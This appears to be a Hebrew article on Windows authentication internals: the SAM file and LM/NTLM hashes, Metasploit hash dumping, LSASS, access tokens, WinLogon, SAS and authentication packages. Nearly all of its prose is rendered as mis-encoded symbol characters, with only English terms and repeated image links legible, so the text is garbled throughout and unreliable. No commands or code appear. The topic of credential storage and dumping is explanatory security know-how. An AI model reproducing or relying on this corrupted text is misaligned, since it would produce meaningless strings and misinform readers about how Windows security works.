˫˧˟ˣ˟˧ˠˢ ˪˷ ˸ˣ˞ˬ˯˧˯ˢ ˫˧˶ˣˬ˷ ˨ˣ˸˟ ˳˟ˣ˵ ˸˩˶˰ˬˢ ˭ˣ˷˞˶ˢ ˢˬ˧˷˶˟ ˢˣˣˢˬ˷ ˠˣ˯ ˪˷ ˡ˯ˬ ˫˧ˮˣ˸ˮ 

ˣˬ˷˷ SAM Φ˧˷˞˶ ˸ˣ˟˧˸  ˪˷Security Account Manager Φ˪˩ ˞ˬ˯˧˯ ˪˷ ˷ˬ˸˷ˬ ˸ˮ˯˥ˣ˞ˬ ˟πSAM 

ˢ˸˶ˣ˴˟ ˸˟˟ˣˠˬˢ ˧˲˪ LM ΣNTLM x-MS-Cache ˢˡ˧ˬ˟ ˟˷˥ˬˢˣ ˞ˣˢ ˵˪˥ ˸˟˧˟˯ˬ ˫˥˸ˬ Φ 

˭ˣ˟˷˥ ˭˧˧˴˪ ˧˩ ˭ˣˬ˦ˬˢ ˶ˬ˷ˮ ˭˲˴ˣˬ ˵˶ˣ ˶ˣ˟˰˟ ˸˶˷˰ ˫˧˷ˬ˸˷ˬˢ ˫˧ˮˣ˶˥˞ˢ ˣ˸ˬˣ˞˷ ΦπsSAM file ˞ˣˢ 

˦˪˥ˢ˟ ˡ˰˧ ˧˟˧˦˵˶˦˞ ˫˧˲˵ˣ˸˪ ˪˰ˣ ˭˩ ˞ˣˢ ˡˣ˞ˬ ˭ˠˣˬ ˪˩ˣ ˭ˣ˧˯˧ˮ ˪˷ ˢˮ˩ˣ˸ ˸˷ˠ˪ ˣ˧˪˞ ˪ˣ˪˰ ˡˣ˞ˬ ˶˧˰ˢ˪ 

˸˞ sπEDRs ˸˞ˣ sπAVs ˪˰ˣ ˭˩ ˫˧˪˩ˢ ˟ˣ˸˩ˮ˷ ˨˷ˬˢ˟ ˫ˮ˧˞ ˫˧˲˵ˣ˸ ˸˞ sπSAM file ˨˞ ˫˧˪˴ˮˬ ˫˧ˮˣˮˠˮˬ 

˫˧˶˥˞ ˫ˢ˟ ˰ˠ˧ˮ ˟ˣ˶˵˟ Φ 

https://csandker.io/public/img/2017-09-10-WindowsNTLMAuthenticationScheme/NTLM_process.png
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ˢˮˣˬ˸˟ ˭˸˧ˮ ˸ˣ˞˶˪ ˷ˣˬ˧˷ ˡˣˬ˟ˣ˪ ˫˧ˣ˯ˬ ˟πMetasploit ˱˯˞˷Credentials  ˪˷ ˫˧˷ˬ˸˷ˬ Φ˶ˣ˟˰˟ ˪˩ 

˷ˬ˸˷ˬ ˰˧˲ˣˬ ˟ˣ˟˧ˠ sπLM ˣ˧˶˥˞˪ˣ ˟ˣ˟˧ˠ sπNTLM Φˢ˶ˣ˴˟ ˢˬˣˡ ˫˧ˮ˯˥ˣ˞ˬ ˫˧˟ˣ˟˧ˠˢ ˳˟ˣ˵˟ sπSAM Φ

˫˧˟ˣ˟˧ˠ ˫˧˶ˬ˷ˮ ˢ˶ˣ˴˟ ˢˬˣˡ ˣˤ˪ ˢˮˣˬ˸˟˷ Σˢ˥˵˪ˮ˷ ˣˢ˷ˤ˧˞ˬ ˪ˡˣˬ ˸˲˧˪˷˪ ˸ˣ˞ˬ˯˧˯  ˪˷MSFΥ 

 

ϐΥ -3s9L8vW8s/Xo2x0Uyc1eI/AAAAAAAAjcU/czNl_v09nv4NO-0-https://i0.wp.com/1.bp.blogspot.com/

hdqBvZDCo9Zg_phfz5gCLcBGAsYHQ/s1600/8.png?w=640&ssl=1ώ 

˧ˬ ˢ˸˞ lsass.exeΚ 

lsass.exe x˞ ˧˷˞˶˟ ˸ˣ˟˧˸ˢ Local Security Authority Subsystem Service ˞ˣˢ ˨˧˪ˢ˸ ˧˞˶˥˞ˢ ˪˰ ˭ˣˣˠˬ 

˟˥˶ ˪˷ ˧˸ˣ˶˧˷ ˢ˥˦˟˞ ˟πWindows Σ˶˵˧˰˟ ˪˰ ˫˧˸ˣ˶˧˷ ˫˧˶ˣ˷˵ˢ ˸ˣ˧ˠˣ˯˪ ˢ˥˦˟˞ Φ˭˸˧ˮ ˞ˣ˴ˬ˪ ˣ˸ˣ˞ 

˟˧˸ˮ˟Υ %WINDIR%\System32Φ 

˶ˣ˵˯˞ ˢˬ˩ ˣ˧ˡ˧˵˲˸ˬ ˫˧˟ˣ˷˥ˢ  ˪˷LSASS ˶ˬ˞ˬ˪ ˶˧˟˯˞ˣ ˸ˣˡˣ˞ˢ˧Υ˫ 

Single Sign On 

˭ˣˮˠˮˬˢ ˰ˮˣˬ ˟˴ˬ x˟ ˷ˬ˸˷ˬ ˶˟˩˷ ˶˟˥˸˸ˢ ˨˶˦˴˧ ˷˧˵ˢ˪ ˸˞ ˧˦˶˲ ˸ˣˢˡˤˢˢ ˣ˪˷ ˸˧ˮ˷ ˪˩˟ ˫˰˲ 

˷ˠ˧ˮ˷ ˟˞˷ˬ˪ Φ˞ˣˢ ˢ˷ˣ˰ ˸˞ˤ ˪˰ ˧ˡ˧ ˢ˶˧ˬ˷ ˭ˣ˯˥˞ˣ ˪˷ ˧˦˶˲ ˸ˣˢˡˤˢˢ ˣˮˣ˶˩˧ˤ˟ ˢ˷˰ˬ˪ˣ ˪˩˟ ˫˰˲ 

˷ˬ˸˷ˬˢ˷ ˷ˠ˧ˮ ˟˞˷ˬ˪ ˫˧ˣ˯ˬ ˶˥˞˪ ˣ˸ˣ˶˟˥˸ˢ LSASS ˸ˬ˞ˬ ˣ˸ˣ˞ ˧˧˶ˣ˥˞ˬ ˫˧˰˪˵ˢ ˢ˷ˣ˰ˣ ˸˞ ˢˡˣ˟˰ˢ 

ˣ˪˧˟˷˟ Σ˷ˬˬ ˣˬ˩ ˸˧˧ˠˣ˰ ˸ˣˬ˧˞ ˶˸˞˷ ˦ˮ˶˦ˮ˧˞ ˪˸ˣ˷ ˭˲ˡ˲ˡ˟ ˣˮ˪˷ ˨˩˟ˣ ˰ˮˣˬ ˣˮ˸˞ˬ ˸ˬ˞˸ˢ˪ ˸˧ˮ˷Φ 

ˢ˷˰ˬ˪ LSASS ˵˧ˤ˥ˬ ˤ˟˧˶˩ˣxˮ ˨ˣ˸˟ ˠˣ˯  ˪˷ǎǘǊǳŎǘ ˸˞ ˧˦˶˲ ˸ˣˢˡˤˢˢ ˣˮ˪˷ Σ˶˟ˡ ˨˲ˣˢ˷ ˣ˸ˣ˞ 

˧˟˧˦˵˶˦˞˪ ˡˣ˞ˬ ˣˮ˧˧ˮ˰˟ ˧˲˵ˣ˸˩ ˭ˣ˶˩˧ˤ Η˫˞ ˥˧˪˴ˮ ˰˧ˠˢ˪ ʕ˪˧ˣˮˣ˶˩  ˪˷LSASS ˰˧ˠˮ ˫ˠ ˸ˣ˞ˬ˯˧˯˪ Η 

˸˶˧˴˧ ˧ˮˣˬ˧˯˞ ˢ˷˧ˠ 

˧ˮˣˬ˧˯˞ ˢ˷˧ˠ Σˣ˞ ˸˧˪ˠˮ˞˟Access tokens  ˫ˢ ˢ˷˰ˬ˪ ˫˧˦˵˧˧˟ˣ˞ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Windows ˫˧˪˪ˣ˩ˢ 

˰ˡ˧ˬ ˱˧˵ˬ ˪˰ ˸ˣˢˤˢ ˸ˣ˞˷˶ˢˢˣ ˪˷ ˷ˬ˸˷ˬˢ Φ˪˩˟ ˫˰˲ ˣˮ˞˷ ˫˧˸ˬ˞˸ˬ ˫˧˯ˮ˩ˮˣ ˟˷˥ˬ˪ ˶ˣ˸˟ 

https://i0.wp.com/1.bp.blogspot.com/-0-3s9L8vW8s/Xo2x0Uyc1eI/AAAAAAAAjcU/czNl_v09nv4NO-hdqBvZDCo9Zg_phfz5gCLcBGAsYHQ/s1600/8.png?w=640&ssl=1
https://i0.wp.com/1.bp.blogspot.com/-0-3s9L8vW8s/Xo2x0Uyc1eI/AAAAAAAAjcU/czNl_v09nv4NO-hdqBvZDCo9Zg_phfz5gCLcBGAsYHQ/s1600/8.png?w=640&ssl=1
https://i0.wp.com/1.bp.blogspot.com/-0-3s9L8vW8s/Xo2x0Uyc1eI/AAAAAAAAjcU/czNl_v09nv4NO-hdqBvZDCo9Zg_phfz5gCLcBGAsYHQ/s1600/8.png?w=640&ssl=1
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˷ˬ˸˷ˬˢ ˣˮ˪˷ LSASS ˠ˞ˣˡ ˶˴˧˧˪ ˣˮ˪ ˭ˣˬ˧˯˞ ˢˤ˩˷ Σ˪˧˩˧˷ ˰ˡ˧ˬ ˱˧˵ˬ ˸ˣˡˣ˞ ˸ˣ˞˷˶ˢ ˢ˥˦˟˞ˢ ˷˧˷ 

ˣˮ˸ˣ˷˶˟ Φˢˬˠˣˡ˪ Σ˶˷˞˩ ˷ˬ˸˷ˬ ˯ˮ˩ˮ ˸˧ˤ˧˲ ˸ˮ˥˸˪ ˢˡˣ˟˰ ˪˷ Windows ύ˶ˬˣ˪˩ Σ˭˲ˣ˞˟ ˧˟˧˦˵˞˶˦ˮ˧˞ Σό

˞ˣˢ ˵˲˯ˬ ˫˷ ˷ˬ˸˷ˬ ˢˬ˯˧˯ˣ Σ˶˷˞ ˫˧˵ˡ˟ˮ ˶˥˞˪ ˭˩ˬ ˪˰ ˧ˡ˧ ˸ˣ˷˶ ˢ˥˦˟˞ˢ ˸˧ˬˣ˵ˬˢ ύLSA Φό 

˫˞ ˭ˣ˟˷˥ˢ ˞ˣˢ ˭ˣ˟˷˥ ˧ˬˣ˵ˬ ύ˶ˬˣ˪˩ Σ˱˵˸ ˵˶ ˟˷˥ˬ˟ ˧˲˧˴˲˯ˢ ˢˤˢ όπsLSA ˵ˣˡ˟˧ ˸˞ ˫˧˶ˣ˷˧˞ˢ ˪ˣˬ 

ˡ˯ˬ ˧ˮˣ˸ˮ ˢ˥˦˟˞ˢ ˣ˪˷ ύ˳˟ˣ˵ sπSAM ˣ˧˪˰ ˧˸˶˟˯ˢ Φόˢ˶˵ˬ˟ ˪˷ ˸˟˧˟˯ ˫˥˸ˬ ˪˷Windows Active 

Directory Σ˭ˣ˧˯˧ˮ ˸ˣˬ˧˞ˢ ˢˮ˲ˣˬ ˸˶˷˪ ˪ˣˢ˧ˮˢ ˟ˣ˶˵ˢ ˶˸ˣ˧˟ Domain Controller) όˡ˟˰˧˷ ˸˞ ˢ˷˵˟ˢ 

˸ˬ˞˧ˣ ˸˞ ˷ˬ˸˷ˬˢΦ ˶˥˞˪ ˸ˣˬ˧˞ˢ ˶˴ˣˮ Ϧ˭˷˯" ύ:˸˧˪ˠˮ˞ˬ ˶ˤˠˮ Logon Session ό˸ˠ˴˧˧ˬ˷ ˸˞ 

˸˧˧˴˵˞˶˦ˮ˧˞ ˷ˬ˸˷ˬˢ ˪˥ˢ ˣ˸ˣˢˡˤˢˬ ˡ˰ˣ ˣ˸ˣ˵˸ˮ˸ˢ Φ˪˞ ˪˩ ˭˷˯ ˱˶ˣ˴ˬ ˭ˣˬ˧˯˞ ˢ˷˧ˠ ˡ˧˥˧ ˪˧˩ˬˢ ˰ˡ˧ˬ 

˶˵˧˰˟ ˰ˠˣˮ˟ ˣ˧˸ˣ˞˷˶ˢ˪ ˪˷ ˷ˬ˸˷ˬˢ ˯ˮ˩ˮ˷ Φ 

 

˨˧˪ˢ˸ ˶ˣ˴˧˧ ˭ˣˬ˧˯˞ˢ ˫˸ˡˬ˴ˢˣ ˸˥˧˷˪ ˷ˬ˸˷ˬΥ 

 

 Υ ϐ-authid-6/5f3c5f38752d292b6ca4e530/2https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt5e0d9d711f5c394

defenders.png-for-tokens-windows-blog-parameterώ 

˫˸ˣ˞ ˧ˮˣˬ˧˯˞ ˢ˷˧ˠ ˫˧˲˶ˣ˴ˬ ˪˞ ˨˧˪ˢ˸ˢ ˣ˸ˣ˞ ˶˴˧ ˷ˬ˸˷ˬˢ ˫˸ˣ˰˴ˬ˞˟ˣ ˭˸˧ˮ ˰ˣˮˬ˪ x˞ ˸ˢ˪˧˶ ˢ˷˧ˠ 

˫˧˟˞˷ˬ˪ ˫˧˷˶ˣˡˢ ˸ˣ˞˷˶ˢ ˢ˷˧ˠ ˸ˣˬ˧ˣ˯ˬ Φ˞ˬˠˣˡ˪ Σ˫˞ ˢ˯ˮˮ ˸˷ˠ˪ ˣˮˣ˶˩˧ˤ˪  ˪˷LSASS ˞˪˪ ˢ˞˷˶ˢ 

ˢˬ˧˞˸ˬ ˣˮ˥ˮ˞ ˵˶ˤ˧ˮ ˢ˴ˣ˥ˢ ˢ˷˰ˬ˪ˣ ˨˩ Windows ˸˰ˮˣˬ ˣˮ˸˞ˬ ˸˷ˠ˪ ˫˧˟˞˷ˬ˪ ˞˪˷ ˫˧˩˧˧˷ 

ˣˮ˪ξ˫˧˩˶ˣ˴ ˸ˣ˞˷˶ˢ ˸ˣˢˣ˟ˠ ˶˸ˣ˧ ˭ˬ ˸ˣˬ˧˧˵ˢ Φ 

ˢ˪˞˷ ˢ˟˷˥ˬ˪ Υ˫˞ ˪πLSASS ˷˧ ˸˞ ˰ˡ˧ˬˢ ˰˷ˣˮ˟ ˣ˧˸ˣ˞˷˶ˢ˪ ˪˷ ˷ˬ˸˷ˬˢ ˰ˣˡˬ ˞ˣˢ ˣˮˮ˧˞ ˪ˣ˩˧ ˪˲˦˪ 

˸ˣ˞˷˶ˢ˟ ˢ˷˧ˠˢ ˣˬ˴˰˟ ˫ˣ˵ˬ˟ˣ ˸˞ˤ ˶˴˧˧ˬ ˸˞ sπAccess Tokens ˣ˷˰˧˷ ˸˞ ˣ˸ˣ˞ ˶˟ˡˢΚ ˭˩˟ˣ Σ˶˥˞ˬ ˷π

LSASS ˞ˣˢ ˨˧˪ˢ˸ ˪˧˩ˬˢ ˸˞ ˰ˡ˧ˬˢ ˧˪ˣ˞ ˷˧ˠ˶ˢ ˶˸ˣ˧˟ ˪˩˟ ˸˩˶˰ˬˢ Σ˫˧˥˸˲ˬˢ ˪˷Windows  ˣ˴˶ ˰ˣˮˬ˪ 

˟˴ˬ ˞ˣˢ˷ ˶˷˵˸˧ ˸ˣ˶˧˷˧ ˫˰ ˨˧˪ˢ˸ˢ Σ˫ˣ˷ˬ ˶˟ˡˢ˷ ˪ˣ˩˧ ˸ˣˣˢ˪ ˸ˣˣ˥ ˪ˣˡ˧ˠ ˸ˣ˲˵˸ˬ˪ ˭ˣ˶˩˧ˤ ˪˰ˣ ˭˩ ˫ˢ 

ˣ˶˴˧ ˸˞ ˧ˮˣˬ˧˯˞ ˢ˷˧ˠˢ ˫ˢ˷ ˢ˷˰ˬ˪ ˠˣ˯ ˪˷ ˸˶˷ proxy ˠ˴˧˧ˬ˷ ˸˞ ˸ˣ˞˷˶ˢ ˢ˷˧ˠˢ ˸ˣ˞˴ˬˮ˷ ˟πLSASS Φ 

https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt5e0d9d711f5c3946/5f3c5f38752d292b6ca4e530/2-authid-parameter-blog-windows-tokens-for-defenders.png
https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt5e0d9d711f5c3946/5f3c5f38752d292b6ca4e530/2-authid-parameter-blog-windows-tokens-for-defenders.png
https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt5e0d9d711f5c3946/5f3c5f38752d292b6ca4e530/2-authid-parameter-blog-windows-tokens-for-defenders.png
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˶˟ˡ ˟˧ˮˠˬ ˱˯ˣˮ ˫˧ˮˣˬ˧˯˞˟ ˞ˣˢ ˭˸˧ˮ˷ ˫˸ˣˮ˷˪ ˭ˬˤ˟ ˢ˴˧˶ ˸ˣ˰˴ˬ˞˟ ˶˲˯ˬ ˸ˣ˧˴˵ˮˣ˲ API ˭ˢ˟ ˰ˠ˧ˮ 

˨˷ˬˢ˟ Φ 

˶˟ˡˢ ˭˸ˣˮ ˸ˮ˩˸ˬ˪ ˭ˣ˶˸˧ ˨˩˟ ˪ˣ˩˧˷ ˸ˣˮ˷˪ ˸˞ ˦˯ ˣ˧˸ˣ˞˷˶ˢ ˭ˬˤ˟ ˢ˴˧˶ ˟ˣ˸˩˪ˣ ˢˮ˩ˣ˸ ˸˧ˬˮ˧ˡ ˰ˡ˸˷ 

˨ˣ˶˰˪ ˢˬ˴˰˪ ˸˞ ˢ˧˸ˣ˞˷˶ˢ ˢˡ˧ˬ˟ ˨˶˦˴˸ˣ Σ˧˪˟ˬ ˯ˣ˶˵˪ ˷˵˟˪ˣ ˢ˧˴˵˞˶˦ˮ˧˞ ˷ˬ˸˷ˬˢˬ Φ˶˥˞ˬ 

˸˟˧˸˩˟ˣ ˧˪˩ˢ ˨ˣ˶˰ˮ ˭ˣˬ˧˯˞ ˢ˷˧ˠ ˸ˣ˶˧˷˧ Σ˟˩˰˸˞ ˦˰ˬ ˪˰ ˣˢˮ˟ˬ ˧˪˪˩ˢ ˪˷ ˭ˣˬ˧˯˞ ˢ˷˧ˠˢ ˢˤ˧˞ˣ ˵ˣ˧ˡ˟ 

˰ˡ˧ˬ ˞ˣˢ ˪˧˩ˬΦ 

˭ˣˬ˧˯˞ ˢ˷˧ˠˢ ˪˧˩ˬ ˰ˡ˧ˬ ˟˶ ˣ˧˪˰ ˣ˪˩ˣ˸ ˞ˣ˶˵˪ ˣ˞ˣ˪ˬ˟ Φ˨˞ ˶˥˞ˬ ˧ˮˣˬ˧˯˞ˣ ˢ˷˧ˠ ˫ˮ˧˞ ˵˪˥ ˞˷ˣˮˢˬ 

˧˶˵˧˰ˢ ˶ˬ˞ˬ˟ Σ˦˶˲˞ ˪˰ ˰ˡ˧ˬˢ ˧˦ˮˣˣ˪˶ˢ ˸˟˧˸˩˪ ˧˪˩ˢ Φ˧ˮˣˬ˧˯˞ ˢ˷˧ˠˢ ˫˧˪˧˩ˬ ˭˧˟ ˶˸˧ˢ ˸˞ ˰ˡ˧ˬˢ 

˞˟ˢΥ 

¶ The security identifier (SID) for the user's account π ˣˢˤ ˢ˷˰ˬ˪ ˢˢˤˬ ˪˰˟ ˨˶˰ ˧ˡˣ˥˧˧ ˪˩˪ 

˷ˬ˸˷ˬ ˭˯˥ˣ˞ˬ˷ ˡ˯ˬ˟ ˢ˥˦˟˞ ˱˶ˣ˴ˬˣ ˭ˣˬ˧˯˞˪ ˶˷˞˩ sˬ˷˷ˬ˸ ˰˴˟ˬ ˸ˣˬ˧˞ ˯ˮ˩ˮˣΦ 

 

¶ A logon SID that identifies the current logon session π ˣˢˤ ˢˢˤˬ ˧ˡˣ˥˧˧ ˭˷˯˪ ˶˴ˣˮ˷ Φ˧˲˩ 

˧˸˶˟˯ˢ˷ Σ˭˷˯ ˶˴ˣˮ ˰ˠ˶˟ ˷ˬ˸˷ˬˢ˷ ˸ˬ˞˸ˬ ˯ˮ˩ˮˣ ˸˵˥ˬˮˣ ˰ˠ˶˟ ˷ˬ˸˷ˬˢ˷ ˵˸ˮ˸ˢ Φ˪˩˟ 

˸ˣ˶˟˥˸ˢ ˢ˷ˡ˥ ˪˷ ˷ˬ˸˷ˬˢ ˶˴ˣˣ˧˸ ˣ˶ˣ˟˰˟ ˭˷˯ ˢ˷ˡ˥Φ 
 

¶ A list of the privileges held by either the user or the user's groups π ˭˟ˣˬ˩ˣ Σ˸ˬ˧˷˶ ˸ˣ˞˷˶ˢˢ 

˷˧˷ ˧ˡ˧˟ ˷ˬ˸˷ˬˢ ˪˟˧˵˷ ˸˞ ˭ˣˬ˧˯˞ˢ Φ˳˧˪ˬˬ ˶ˣ˵˥˪ ˶˟˩ ˣ˧˷˩˰ˬ ˧ˬ˪ ˭˶˵˯˷ ˪˰ ˢ˞˷˶ˢ ˸ˮ˧˧ˮ˰ˬ 

˫˷˟ SeDebugPrivilege ˢ˟ ˣˮ˞ ˫˧˩˪ˣˢ ˸˰ˠ˪ ˨˷ˬˢ˟ Φ 

 

ˢ˟˧˸˩ ˡˣ˰˧˸˪ ˢ˥˦˟˞ˢ ˪˷ Windows 

ˡˣ˰˧˸ ˢ˥˦˟˞ ˪˷Windows  x˞ ˤ˰˪˟ Windows Security Log Σ˞ˣˢ ˢ˷˰ˬ˪ ˡˣ˰˧˸ ˪˧˩ˬˢ ˸ˣˬˣ˷˶ ˪˷ 

˸ˣ˧ˣ˪˧˰˲ ˸ˣ˶˟˥˸ˢκˢ˯˧ˮ˩ ˪˷ ˫˧˷ˬ˸˷ˬ ˧˰ˣ˶˧˞ˣ ˢ˥˦˟˞ ˫˧˟˶ ˫˧˶˥˞ Φˡˣ˰˧˸ˢ ˭˸˧ˮ ˢ˧˧˲˴˪ ˸˥˸ sπ

Event Viewer Φ 

˧˪˩˪ ˷˧ ˥ˣ˩ ˟˶ Σ˶˥˞ˬ ˢˡ˧ˬ˟ˣ ˢ˰˴ˣ˟ˣ ˸ˣ˪˧˰˲ ˸˧ˮˣˡˤ ˸ˬ˧ˣ˯ˬ ˭ˣˠ˶˞˟ ˫˧ˣ˯ˬ Σ˧˪ˢˮˬ ˢ˥˦˟˞ˢ ˪˷ ˭ˣˠ˶˞ˢ 

˫˧˪ˣ˩˧ ˶ˣ˵˥˪ ˵ˬˣ˰˪ ˸˞ ˡˣ˰˧˸ˢ ˸˰ˡ˪ˣ ˡ˴˧˩ ˶ˣˠ˯˪ ˸˞ ˧˶ˣ˥ ˢ˥˦˟˞ˢ Φˣˬ˩ ˭˩ Σˣˢˤ ˡ˰˧ ˵˷˥ˮ ˶˸ˣ˧˟ ˧˧ˮ˧˰˟ 

˫˧˴˶ˣ˲ ˫ˣ˷ˬ ˞ˣˢ˷ ˪˧˩ˬ ˰ˡ˧ˬ ˟˶ ˣ˵˪˥˷ ˫ˠ ˷˧ˠ˶ ˡˣ˞ˬ Φ˧ˬ ˠ˞ˣˡ˷ ˶˥˞˪ ˪˩ ˰ˣ˶˧˞ ˸ˣ˶˟˥˸ˢ ˭˩ˡ˰˪ ˸˞ 

ˡˣ˰˧˸ˢ ˞ˣˢ ˟ˣ˷ LSASSΦ 

˸ˣˬ˧˞ ˫˧˷ˬ˸˷ˬ 

˭˩˟ˣ Σˣˢˤ ˶˟˩ ˞˷ˣˮ ˫˪˷ ˣ˧˪˰ ˶˟ˡˮ ˵ˬˣ˰˪ ˟ˣ˶˵˟ ˡˣ˞ˬ J 

https://learn.microsoft.com/en-us/windows/win32/secauthz/access-tokens
https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e
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WinLogon.exe 

WinLogon.exe ˞ˣˢ ˸ˣ˶˧˷ ˱˯ˣˮ ˪˰ˣ˲˷ ˨˪ˢˬ˟ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ ˧ˮ˞ˣ ˥ˣ˦˟ ˫˩˪ˣ˩˷ ˫˧˶˧˩ˬ ˣ˸ˣ˞ ˫ˠ ˫˞ ˞˪ 

˞˴˧ ˫˩˪ ˰ˣˬ˷˪ ˪˰ ˣˬ˷ Η˶ˣ˵˯˞ ˢˬ˩ ˣ˧ˡ˧˵˲˸ˬ ˫˧˧˶˵˧˰ˢ ˪˷ ˨˧˪ˢ˸ˢ ˫˰ˣ ˣ˪˧˞ ˫˧˩˧˪ˢ˸ ˫˧˲˯ˣˮ ˞ˣˢ 

˰˴˟ˬ ˢ˧˴˵˞˶˦ˮ˧˞Φ 

˸˶˧˴˧ ˸˷ˣ˪˷ ˸ˣ˟˧˟˯ ˟˴ˬˢ 

˨˧˪ˢ˸ˢ ˧˞˶˥˞ ˪˰ ˸˶˧˴˧ ˢ˷ˣ˪˷ ˸ˣ˟˧˟˯ ˟˴ˬ Φ˧ˮ˞˷˩ ˶˟ˡˬ ˪˰ ˸˟˧˟˯ ˟˴ˬ Σ˪˰ ˫˧˩˯ˬˢ ˫˧ˮˣ˷ˢ 

˷ˬ˸˷ˬˢ˷ ˢ˞ˣ˶ ˶˷˞˩ ˟˷˥ˬˢ ˪ˣ˰ˮ Σ˥ˣ˸˲ x˞ ˞˴ˬˮ ˟˴ˬ˟ ˪˷ ScreenSaver Φ˫˸ˣ˞ ˫˧˩˯ˬ ˫˧ˬ˯˶ˣ˲ˬ 

˧˞ˡˣˣ˷ ˫˸˧˞˶ ˟ˣ˶˵ ˱ˣ˯ˮ˧˞˪ ˫˧ˬ˰˲ ˫ˢ ˧˶˲ ˣ˸ˡˣ˟˰ ˪˷ WinLogon! 

˭˟ˣˬ˩ ˨˯ˬˢ˷ ˧˩ˢ˷ ˭˧˧ˮ˰˧ ˣˮ˸ˣ˞ ˞ˣˢ ˨˯ˬˢ x˟ ˟˷˥ˬˢ ˪ˣ˰ˮ ˣˮ˞ˣ ˫˧˷˵˟˸ˬ ˷˧˵ˢ˪ ˸˞ ˣˮ˸ˬ˯˧˯ Φ˭˧˧ˮ˰˟ ˢˤ 

˱˸˸˷ˬ ˨˧˪ˢ˸ ˯ˣˮ ˱˫˷˟ LogonUI.exe Φˣ˸ˣ˞˟ ˨˯ˬˢ ˢˮ˷˧ ˢ˧˴˲ˣ˞ ˶ˣ˥˟˪ ˸˞ ˪˧˲ˣ˶˲ˢ ˣ˧˪˞ ˢ˴˶ˮ 

˶˟˥˸ˢ˪ ˫ˣ˵ˬˣ ˷˧˵ˢ˪ ˸˞ ˞ˬ˯˧˯ˢ ˣˮ˪˷ Φ 

ˣ˸ˣ˞ ˨˧˪ˢ˸ ˞ˣˢ ˢˤ ˶˴ˣ˧˷ ˸˞ ˸˟˧˸ ˢˮˤˢˢ ˪˷ ˞ˬ˯˧˯ˢ ˞ˣˢˣ ˫ˠ ˢˤ ˰˟˵˷ ˸˞ ˢ˪ˡˣˠ ˨˩ ˪˩ˣ˧˷ ˪˧˩ˢ˪ 

˶˲˯ˬ ˧˪ˬ˧˯˵ˬ ˪˷ ˞ˬ˯˧˯ ˸˟ мнт ˫˧ˣˣ˸ Φ˶˥˞˪ ˸ˮˤˢ ˞ˬ˯˧˯ˢΣLogonUI  ˱˯ˣ˞ ˸˞ ˧˦˶˲ ˸ˣˢˡˤˢˢ 

˷˧˵ˢ˷ ˷ˬ˸˷ˬˢ ˢ˪˞ˣ ˫˧˶˟˰ˣˬ ˪πLSASS ˧˩˶ˣ˴˪ ˨˷ˬˢ ˸ˣˢˡˤˢ Φ 

ˣ˧˷˩˰ˬ ˞˶˵ˮ ˣ˸ˣ˞˪ ˨˯ˬ ˢˮˣˬ˸˟˷ ˣˬ˷˟ ˧˰ˣ˴˵ˬˢ ˶˴ˣ˵ˬˢˣ GINA Φ˧˷˞˶ ˸ˣ˟˧˸ˢ:Graphical 

Identification and AuthenticationΦ 

 
 Υ ϐscreen-lock-10-windows-https://petri.com/disableώ 

https://petri.com/disable-windows-10-lock-screen%5d
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˸ˮ˧˰˦ ˪˧˲ˣ˶˲ ˷ˬ˸˷ˬˢ 

˞ˣˢ ˨˧˪ˢ˸ˢ ˧˞˶˥˞˷ ˪˰ ˢˮ˧˰˦ ˪˧˲ˣ˶˲˪˷ ˷ˬ˸˷ˬˢ ˶˥˞˪ ˸ˣˢˡˤˢˢ Φˣˢˤ ˨˧˪ˢ˸ ˸˧˯˥˧ ˟˩˶ˣˬ ˷˶ˣˡ˷ 

˸˷ˠ˪ ˵˯˧ˡ˪ ˱ˣ˪˷˪ˣ ˸˞ ˪˩ ˰ˡ˧ˬˢ ˧˦ˮˣˣ˪˶ˢ ˧˟ˠ˪ ˣ˸ˣ˞ ˷ˬ˸˷ˬˢ ˶˟˥˸ˢ˷ Φ˰ˡ˧ˬˢ ˪˪ˣ˩ ˫˧˴˟˵ Σ˟˴ˬ 

˭˥˪ˣ˷ ˢˡˣ˟˰ˢ Σ˧ˮˣ˸ˮ ˢ˥˦˟˞ ˪˩ˣ ˢˬ ˢˮ˸˷ˢ˷ ˫˰˲˟ ˸ˬˡˣ˵ˢ ˷ˬ˸˷ˬˢ˷ ˶˟˥˸ˢ Φ 

˞ˬˠˣˡ˪ Σˢ˪˰˲ˢ ˪˷ sπWindows Explorer x˞ ˸˧˶˟˰˟ ˶˧˧˯ ˫˧˴˟˵ˢΦ 

 
˪ˣˢ˧ˮ ˸ˣ˯˧ˮ˩ ˸ˣ˥˦˟ˣ˞ˬ ˨˶ˡ SAS 

SAS x˞ Secure Authentication Sequence ˞˧ˢ ˢ˸ˣ˞ ˸˧˧˴ˮ˧˟ˬˣ˵ ˫˧˷˵ˬ ˸ˬ˯˶ˣ˲ˬ ύCTRL+ALT+DEL ό

˫˧˷˧˵ˬ˷ ˧ˮ˲˪ ˸˩˶˰ˬ˷ ˢ˪˰˲ˢˢ ˢ˪ˣ˰ ˪˰ ˸ˮˬ ˰˧ˠˢ˪ ˨˯ˬ˪ ˸ˣˬ˧˞ˢ Φ˞˪ ˵˧ˬ˰ˮ ˶˟˰ˬ ˨˩˪ ˞˷ˣˮ˟ ˢˤˢ Σ

˨˞ ˡ˧ˬ˸ ˧˞ˡ˩ ˶˧˩ˢ˪Φ 

 

 Υ ϐusers/-home-for-on-log-network-https://www.bleepingcomputer.com/tutorials/xpώ 

 

 

˭ˢˬ ˸ˣ˪˧˟˥ ˸ˣˬ˧˞Κ 

˸ˣ˪˧˟˥ ˸ˣˬ˧˞ x˞ ˸˧˪ˠˮ˞˟ Authentication Package ˭s ˢ˷˰ˬ˪ DLLπ˫˧ ˫˧˪˧˩ˬˢ ˸˞ ˫˧˷ˣˬ˧ˬˢ ˫ˬ˴˰ 

˫˧˪ˣ˵ˣ˦ˣ˶˲˪ ˫˩˶ˡ ˣˮ˞ ˫˧˸ˬˣ˞ˬ Φˢ˞˧˩ ˳˟ˣ˵˪ DLL ˫ˢ ˫˧˪˧˩ˬ ˭ˣˣˠˬ ˸ˣ˧˴˵ˮˣ˲ ˶ˤ˰ ˸ˣ˷ˬˬ˷ ˸˞ 

